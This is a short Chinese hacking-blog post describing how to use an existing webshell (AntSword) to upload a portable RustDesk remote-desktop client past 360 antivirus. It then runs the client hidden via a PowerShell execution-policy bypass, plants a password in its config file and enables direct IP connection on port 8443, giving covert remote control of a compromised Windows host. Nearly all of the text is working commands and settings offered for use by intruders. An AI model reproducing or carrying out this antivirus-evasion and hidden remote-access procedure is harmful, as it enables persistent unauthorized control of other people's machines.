利用webshell上传绕过360全家桶远控

1. 下载ruskdesk免安装版本
2. 开启核晶防护下，可以直接用蚁剑上传exe

3. 使用powershell可以无窗口执行

powershell -executionPolicy bypass Start-Process -WindowStyle hidden -FilePath 'C:/phpstudy_pro/rd.exe'

4. 第一次运行rustdesk会初始化相关配置，还没有密码不能连接，直接关闭即可

taskkill /f /t /im rd.exe

5. 在配置文件中添加密码，6位数密码

C:\Users\<username>\AppData\Roaming\RustDesk\config\RustDesk.toml

6. 不出外网的环境下，可以配置ip直连功能

C:\Users\<username>\AppData\Roaming\RustDesk\config\RustDesk2.toml
[options]
direct-server='Y' direct-access-port='8443'

7. 再次运行上传的rustdesk,可以根据id或ip+端口直接连接

小陈's Blog - 致力关注于黑客技术、渗透测试、网络信息安全